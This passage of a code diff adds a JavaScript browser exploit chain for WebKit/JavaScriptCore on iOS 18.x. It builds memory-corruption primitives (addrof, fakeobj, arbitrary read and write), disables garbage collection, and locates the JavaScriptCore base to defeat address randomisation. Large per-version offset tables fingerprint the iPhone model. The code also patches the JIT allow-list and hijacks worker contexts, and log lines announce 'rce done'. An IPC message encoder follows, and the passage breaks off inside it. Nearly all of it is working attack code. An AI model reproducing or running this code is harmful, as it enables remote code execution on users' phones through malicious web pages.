= a[0]; + } + change_scribble_holder.p1 = results[0]; //now we have a valid structureID + + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + + function write64(addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = read64(off_addr); + let [hi, lo] = value.asInt32s(); + + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + + write64(off_addr, off_val); + } + } + + let read64_biguint64arr = new BigUint64Array(4); + change_scribble[1] = addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + change_scribble[1] = addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + + function read64(addr) { + read64_biguint64arr[1] = addr; + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n + | BigInt(read64_str.charCodeAt(2)) << 32n + | BigInt(read64_str.charCodeAt(3)) << 48n); + } + + function read32(addr) { + read64_biguint64arr[1] = addr; + + return (BigInt(read64_str.charCodeAt(0)) + | BigInt(read64_str.charCodeAt(1)) << 16n); + } + print("after setting up prims"); + // Disable Worklet GC + const vm = read64(read64(addrof(globalThis).add(0x10n)).add(0x38n)); + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + function write8(ptr, u16) { + let value = read64(ptr); + value &= ~0xffn; + value |= u16; + write64(ptr, value); + }; + write8(isSafeToCollect, 0n); + print("after gc disable"); + const executable = read64(addrof(parseFloat) + 0x18n); + globalFuncParseFloat = read64(executable + 0x28n).noPAC(); + const jsc_base = (function() { + let jsc_base = globalFuncParseFloat & ~0xfffn; + + while (1) { + read64_biguint64arr[1] = jsc_base; + if (read64_str.charCodeAt(0) == 0xfacf && read64_str.charCodeAt(1) == 0xfeed) { + return jsc_base; + } + jsc_base -= 0x1000n; + } + })(); + print("jsc_base now: " + jsc_base.hex()); + function parse_adrp(addr) { + const x = Number(read32(addr)); + const immhi = x >> 5 & (1 << 23 - 5 + 1) - 1; + const immlo = x >> 29 & 3; + const imm = immhi << 14 | immlo << 12; + return imm + Math.floor(Number(addr) / 0x1000) * 0x1000; + } + function parse_add(addr) { + const insn = Number(read32(addr)); + const off = insn >> 10 & (1 << 12) - 1; + return off; + } + function parse_adrp_add(addr, is_ldrb = false) { + let res = parse_adrp(addr); + let add = parse_add(addr + 4n); + return res + add; + } + const versions = ['b8', '731', 'b9']; +const pthread_create_auth_stubs_offset = { +'18,4': 0x177d640n, +'18,4,1': 0x177d640n, +'18,5': 0x18ccf30n, +'18,6': 0x17a4830n, +'18,6,1': 0x17a4830n, +'18,6,2': 0x17a4830n +}; +const pthread_create_offset = { +'18,4': 0x5864n, +'18,4,1': 0x5864n, +'18,5': 0x6988n, +'18,6': 0x6988n, +'18,6,1': 0x6988n, +'18,6,2': 0x6988n +}; +const linkedit_to_device = { +'18,4': { + [0x27075c000n]: "iPhone11,2_4_6_22E240", + [0x27074c000n]: "iPhone11,8_22E240", + [0x27085c000n]: "iPhone12,1_22E240", + [0x27085c000n]: "iPhone12,3_5_22E240", + [0x270794000n]: "iPhone12,8_22E240", + [0x270ad0000n]: "iPhone13,1_22E240", + [0x2714f8000n]: "iPhone13,2_3_22E240", + [0x2714f8000n]: "iPhone13,4_22E240", + [0x2718dc000n]: "iPhone14,2_22E240", + [0x2718dc000n]: "iPhone14,3_22E240", + [0x270ea4000n]: "iPhone14,4_22E240", + [0x270ea4000n]: "iPhone14,5_22E240", + [0x270e50000n]: "iPhone14,6_22E240", + [0x2712b4000n]: "iPhone14,7_22E240", + [0x2712b4000n]: "iPhone14,8_22E240", + [0x272058000n]: "iPhone15,2_22E240", + [0x272058000n]: "iPhone15,3_22E240", + [0x271680000n]: "iPhone15,4_22E240", + [0x271680000n]: "iPhone15,5_22E240", + [0x272594000n]: "iPhone16,1_22E240", + [0x272594000n]: "iPhone16,2_22E240", + [0x271e5c000n]: "iPhone17,1_22E240", + [0x271e5c000n]: "iPhone17,2_22E240", + [0x2717f0000n]: "iPhone17,3_22E240", + [0x2717f0000n]: "iPhone17,4_22E240", + [0x271530000n]: "iPhone17,5_22E240" +}, +'18,4,1': { + [0x27075c000n]: "iPhone11,2_4_6_22E252", + [0x27074c000n]: "iPhone11,8_22E252", + [0x27085c000n]: "iPhone12,1_22E252", + [0x27085c000n]: "iPhone12,3_5_22E252", + [0x270790000n]: "iPhone12,8_22E252", + [0x270ad0000n]: "iPhone13,1_22E252", + [0x2714f8000n]: "iPhone13,2_3_22E252", + [0x2714f8000n]: "iPhone13,4_22E252", + [0x2718dc000n]: "iPhone14,2_22E252", + [0x2718dc000n]: "iPhone14,3_22E252", + [0x270ea4000n]: "iPhone14,4_22E252", + [0x270ea4000n]: "iPhone14,5_22E252", + [0x270e50000n]: "iPhone14,6_22E252", + [0x2712b4000n]: "iPhone14,7_22E252", + [0x2712b4000n]: "iPhone14,8_22E252", + [0x272058000n]: "iPhone15,2_22E252", + [0x272058000n]: "iPhone15,3_22E252", + [0x271680000n]: "iPhone15,4_22E252", + [0x271680000n]: "iPhone15,5_22E252", + [0x272594000n]: "iPhone16,1_22E252", + [0x272594000n]: "iPhone16,2_22E252", + [0x271e5c000n]: "iPhone17,1_22E252", + [0x271e5c000n]: "iPhone17,2_22E252", + [0x2717f0000n]: "iPhone17,3_22E252", + [0x2717f0000n]: "iPhone17,4_22E252", + [0x271530000n]: "iPhone17,5_22E252" +}, +'18,5': { + [0x27170c000n]: "iPhone11,2_4_6_22F76", + [0x271704000n]: "iPhone11,8_22F76", + [0x271810000n]: "iPhone12,1_22F76", + [0x271810000n]: "iPhone12,3_5_22F76", + [0x27173c000n]: "iPhone12,8_22F76", + [0x271a88000n]: "iPhone13,1_22F76", + [0x2724b4000n]: "iPhone13,2_3_22F76", + [0x2724b4000n]: "iPhone13,4_22F76", + [0x27288c000n]: "iPhone14,2_22F76", + [0x27288c000n]: "iPhone14,3_22F76", + [0x271e5c000n]: "iPhone14,4_22F76", + [0x271e5c000n]: "iPhone14,5_22F76", + [0x271df8000n]: "iPhone14,6_22F76", + [0x272264000n]: "iPhone14,7_22F76", + [0x272264000n]: "iPhone14,8_22F76", + [0x273014000n]: "iPhone15,2_22F76", + [0x273014000n]: "iPhone15,3_22F76", + [0x272634000n]: "iPhone15,4_22F76", + [0x272634000n]: "iPhone15,5_22F76", + [0x27353c000n]: "iPhone16,1_22F76", + [0x27353c000n]: "iPhone16,2_22F76", + [0x272e04000n]: "iPhone17,1_22F76", + [0x272e04000n]: "iPhone17,2_22F76", + [0x2727a0000n]: "iPhone17,3_22F76", + [0x2727a0000n]: "iPhone17,4_22F76", + [0x2724d8000n]: "iPhone17,5_22F76" +}, +'18,6': { + [0x270ffc000n]: "iPhone11,2_4_6_22G86", + [0x270ff0000n]: "iPhone11,8_22G86", + [0x2710fc000n]: "iPhone12,1_22G86", + [0x2710fc000n]: "iPhone12,3_5_22G86", + [0x27103c000n]: "iPhone12,8_22G86", + [0x271378000n]: "iPhone13,1_22G86", + [0x271da8000n]: "iPhone13,2_3_22G86", + [0x271da8000n]: "iPhone13,4_22G86", + [0x272178000n]: "iPhone14,2_22G86", + [0x272178000n]: "iPhone14,3_22G86", + [0x27174c000n]: "iPhone14,4_22G86", + [0x27174c000n]: "iPhone14,5_22G86", + [0x2716f4000n]: "iPhone14,6_22G86", + [0x271b54000n]: "iPhone14,7_22G86", + [0x271b54000n]: "iPhone14,8_22G86", + [0x272904000n]: "iPhone15,2_22G86", + [0x272904000n]: "iPhone15,3_22G86", + [0x271f24000n]: "iPhone15,4_22G86", + [0x271f24000n]: "iPhone15,5_22G86", + [0x272e34000n]: "iPhone16,1_22G86", + [0x272e34000n]: "iPhone16,2_22G86", + [0x2726f4000n]: "iPhone17,1_22G86", + [0x2726f4000n]: "iPhone17,2_22G86", + [0x272084000n]: "iPhone17,3_22G86", + [0x272084000n]: "iPhone17,4_22G86", + [0x271dcc000n]: "iPhone17,5_22G86" +}, +'18,6,1': { + [0x27101c000n]: "iPhone11,2_4_6_22G90", + [0x271004000n]: "iPhone11,8_22G90", + [0x271118000n]: "iPhone12,1_22G90", + [0x271118000n]: "iPhone12,3_5_22G90", + [0x271050000n]: "iPhone12,8_22G90", + [0x27138c000n]: "iPhone13,1_22G90", + [0x271dbc000n]: "iPhone13,2_3_22G90", + [0x271dbc000n]: "iPhone13,4_22G90", + [0x27218c000n]: "iPhone14,2_22G90", + [0x27218c000n]: "iPhone14,3_22G90", + [0x271760000n]: "iPhone14,4_22G90", + [0x271760000n]: "iPhone14,5_22G90", + [0x271708000n]: "iPhone14,6_22G90", + [0x271b6c000n]: "iPhone14,7_22G90", + [0x271b6c000n]: "iPhone14,8_22G90", + [0x272914000n]: "iPhone15,2_22G90", + [0x272914000n]: "iPhone15,3_22G90", + [0x271f38000n]: "iPhone15,4_22G90", + [0x271f38000n]: "iPhone15,5_22G90", + [0x272e4c000n]: "iPhone16,1_22G90", + [0x272e4c000n]: "iPhone16,2_22G90", + [0x27270c000n]: "iPhone17,1_22G90", + [0x27270c000n]: "iPhone17,2_22G90", + [0x2720a4000n]: "iPhone17,3_22G90", + [0x2720a4000n]: "iPhone17,4_22G90", + [0x271de4000n]: "iPhone17,5_22G90" +}, +'18,6,2': { + [0x27101c000n]: "iPhone11,2_4_6_22G100", + [0x271004000n]: "iPhone11,8_22G100", + [0x271118000n]: "iPhone12,1_22G100", + [0x271118000n]: "iPhone12,3_5_22G100", + [0x271050000n]: "iPhone12,8_22G100", + [0x27138c000n]: "iPhone13,1_22G100", + [0x271dbc000n]: "iPhone13,2_3_22G100", + [0x271dbc000n]: "iPhone13,4_22G100", + [0x27218c000n]: "iPhone14,2_22G100", + [0x27218c000n]: "iPhone14,3_22G100", + [0x271760000n]: "iPhone14,4_22G100", + [0x271760000n]: "iPhone14,5_22G100", + [0x271708000n]: "iPhone14,6_22G100", + [0x271b6c000n]: "iPhone14,7_22G100", + [0x271b6c000n]: "iPhone14,8_22G100", + [0x272914000n]: "iPhone15,2_22G100", + [0x272914000n]: "iPhone15,3_22G100", + [0x271f38000n]: "iPhone15,4_22G100", + [0x271f38000n]: "iPhone15,5_22G100", + [0x272e4c000n]: "iPhone16,1_22G100", + [0x272e4c000n]: "iPhone16,2_22G100", + [0x27270c000n]: "iPhone17,1_22G100", + [0x27270c000n]: "iPhone17,2_22G100", + [0x2720a4000n]: "iPhone17,3_22G100", + [0x2720a4000n]: "iPhone17,4_22G100", + [0x271de4000n]: "iPhone17,5_22G100" +} +}; +const device_chipset = { +"iPhone11,2_4_6_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E240": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E240": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E240": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E240": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E240": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E240": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E240": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E240": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22E252": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22E252": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22E252": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22E252": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22E252": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22E252": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,2_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,3_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,4_22E252": "6149d995753968891870832e3fec9195", +"iPhone17,5_22E252": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22F76": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22F76": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22F76": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22F76": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22F76": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22F76": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,2_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,3_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,4_22F76": "6149d995753968891870832e3fec9195", +"iPhone17,5_22F76": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G86": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G86": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G86": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G86": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G86": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G86": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G86": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G86": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G90": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G90": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G90": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G90": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G90": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G90": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G90": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G90": "6149d995753968891870832e3fec9195", +"iPhone11,2_4_6_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone11,8_22G100": "0b92b8b2602c011d1831c6c27ef74b76", +"iPhone12,1_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,3_5_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone12,8_22G100": "f35b705e8c57ae59e369ebc9145a9dbc", +"iPhone13,1_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,2_3_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone13,4_22G100": "43ba9900ff2fc7d9d32072540b2cab12", +"iPhone14,2_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,3_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,4_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,5_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,6_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,7_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone14,8_22G100": "c90776dbac058ed6957f476e287867f8", +"iPhone15,2_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,3_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,4_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone15,5_22G100": "22f32fd975a694d340a6ad22b872b1ae", +"iPhone16,1_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone16,2_22G100": "c33e4990a9d3afe948b98d7d4205d596", +"iPhone17,1_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,2_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,3_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,4_22G100": "6149d995753968891870832e3fec9195", +"iPhone17,5_22G100": "6149d995753968891870832e3fec9195", +"iPhone13,4_22B91": "43ba9900ff2fc7d9d32072540b2cab12", +}; + + const ios_version = (function() { + let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1]; + if (version) { + return version.split('_').map(part => parseInt(part)); + } + })(); + print(`ios_version: ${ios_version}`); + if (ios_version == '18,1,1') { + device_model = "iPhone13,4_22B91"; + print("device_model (18.1.1 direct): " + device_model); + } else { + const pthread_create_got = BigInt(parse_adrp_add(jsc_base + pthread_create_auth_stubs_offset[ios_version])); + print(`pthread_create_got: ${pthread_create_got.hex()}`); + const pthread_create = read64(pthread_create_got).noPAC(); + print(`pthread_create: ${pthread_create.hex()}`); + const libsystem_pthread_base = pthread_create - pthread_create_offset[ios_version]; + print(`libsystem_pthread_base: ${libsystem_pthread_base.hex()}`); + const libsystem_pthread_linkedit = read64(libsystem_pthread_base + 0x600n); + print(`libsystem_pthread_linkedit: ${libsystem_pthread_linkedit.hex()}`); + device_model = linkedit_to_device[ios_version][libsystem_pthread_linkedit]; + print("device_model: " + device_model); + } + chipset = device_chipset[device_model] || device_chipset[__labResolveOffsetKey(device_chipset, device_model)]; + device_model = __labResolveOffsetKey(rce_offsets, device_model); + offsets = rce_offsets[device_model]; + slide = globalFuncParseFloat - offsets.JavaScriptCore__globalFuncParseFloat; + print(`slide: ${slide.hex()}`); + for (const key of Object.keys(offsets)) { + if (offsets[key] >= 0x100000000n) offsets[key] += slide; + } + write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + const contexts = read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + const contexts_length = read32(contexts - 4n); + print(`contexts_lenght:${contexts_length.hex()}`); + let worker; + + for (let i = 0n; i < contexts_length; ++i) { + const scriptExecutionContext = read64(contexts + 0x30n * i + 0x20n); + if (!scriptExecutionContext) + continue; + + const vtable = read64(scriptExecutionContext); + print(`vtable: ${vtable.noPAC().hex()} offset:${offsets.WebCore__DedicatedWorkerGlobalScope_vtable.hex()}`); + if (vtable.noPAC() != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) + continue; + + const id = read64(scriptExecutionContext + 0x138n); + if (id > maximum_id) { + maximum_id = id; + worker = scriptExecutionContext; + } + if (worker) break; + } + + print(`worker: ${worker.hex()}`); + + if (ios_version == '18,1,1') { + const unboxed_arr_addr = BigInt(p_rce.addrof52(unboxed_arr)); + const boxed_arr_addr = BigInt(p_rce.addrof52(boxed_arr)); + print(`unboxed_arr: ${unboxed_arr_addr.hex()}`); + print(`boxed_arr: ${boxed_arr_addr.hex()}`); + const butterfly_of_boxed = read64(boxed_arr_addr + 8n); + print(`butterfly_of_boxed: ${butterfly_of_boxed.hex()}`); + write64(unboxed_arr_addr + 8n, butterfly_of_boxed); + print("Finished stage1 prim succesfully (direct)"); + } else { + const script = read64(worker + 0x150n); + const workerOrWorkletThread = read64(worker + 0x160n); + const Strong_globalScopeWrapper = read64(script + 0x20n); + const globalScopeWrapper = read64(Strong_globalScopeWrapper); + const worker_global_butterfly = read64(globalScopeWrapper + 8n); + print(`butterfly:${worker_global_butterfly.hex()}`); + const unboxed_arr = read64(worker_global_butterfly); + const boxed_arr = read64(worker_global_butterfly + 8n); + const butterfly = read64(boxed_arr + 8n); + write64(unboxed_arr + 8n, butterfly); + print("Finished stage1 prim succesfully"); + } + } + function setup_stage2_prim() + { + p.addrof = function addrof(o) { + boxed_arr[0] = o; + return BigInt.fromDouble(unboxed_arr[0]); + } + p.fakeobj = function fakeobj(addr) { + unboxed_arr[0] = addr.asDouble(); + return boxed_arr[0]; + } + let scribble_element; + let scribbles = []; + let prev_addr = 0n; + for (let i = 0; i < 500; ++i) { + let o = { + p1: 1.1, + p2: 2.2 + }; + if (p.addrof(o) - prev_addr === 0x20n) { + scribble_element = o; + break; + } + scribbles.push(o); + prev_addr = p.addrof(o); + } + let change_scribble_holder = { + p1: p.fakeobj(0x108240700000000n), + p2: scribble_element + }; + let change_scribble = p.fakeobj(p.addrof(change_scribble_holder) + 0x10n); + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = p.fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + p.write64 = function (addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = p.fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = p.read64(off_addr); + let [hi, lo] = value.asInt32s(); + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + p.write64(off_addr, off_val); + } + }; + p.write16 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffffn; + value |= u16; + p.write64(ptr, value); + }; + change_scribble[1] = p.addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + change_scribble[1] = p.addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + p.read64 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n | BigInt(read64_str.charCodeAt(2)) << 32n | BigInt(read64_str.charCodeAt(3)) << 48n; + }; + p.read32 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n; + }; + p.write8 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffn; + value |= u16; + p.write64(ptr, value); + }; + p.device_model = device_model; + p.chipset = chipset; + globalThis.device_model = p.device_model; + p.offsets = offsets; + p.slide = slide; + print("Finished stage2 prims succesfully, rce done"); + self.postMessage({ + type: 'prepare_dlopen_workers' + }); + } + setup_stage1_prim(p_rce); + setup_stage2_prim(); + } catch (e) { + if (e instanceof TryAgainError) { + print('failed _make_rw ... retry'); + } else { + throw e; + } + } + return p_rce; +} +async function main() { + print("begin"); + try { + return await _aarw_main(); + } catch (e) { + print('_aarw_main: error: ' + e); + } +} + const rce_begin = Date.now(); + class Encoder { + constructor(messageName, destinationID) { + this.argList = []; + if (arguments.length) { + this.messageName = messageName; + this.destinationID = destinationID; + this.encode('uint8_t', 0); + this.encode('uint16_t', this.messageName); + this.encode('uint64_t', this.destinationID); + } + } + encode(type, value) { + this.argList.push({ + type, + value + }); + return this; + } + encode8BitString(str) { + this.encode('uint32_t', str.length); + this.encode('bool', true); + this.argList.push({ + type: 'bytes', + value: str + }); + return this; + } + encodeNullString() { + this.encode('uint32_t', 0xffffffff); + return this; + } + static argumentAlignment(arg) { + switch (arg.type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + case 'float': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + case 'bytes': + return 0; + default: + 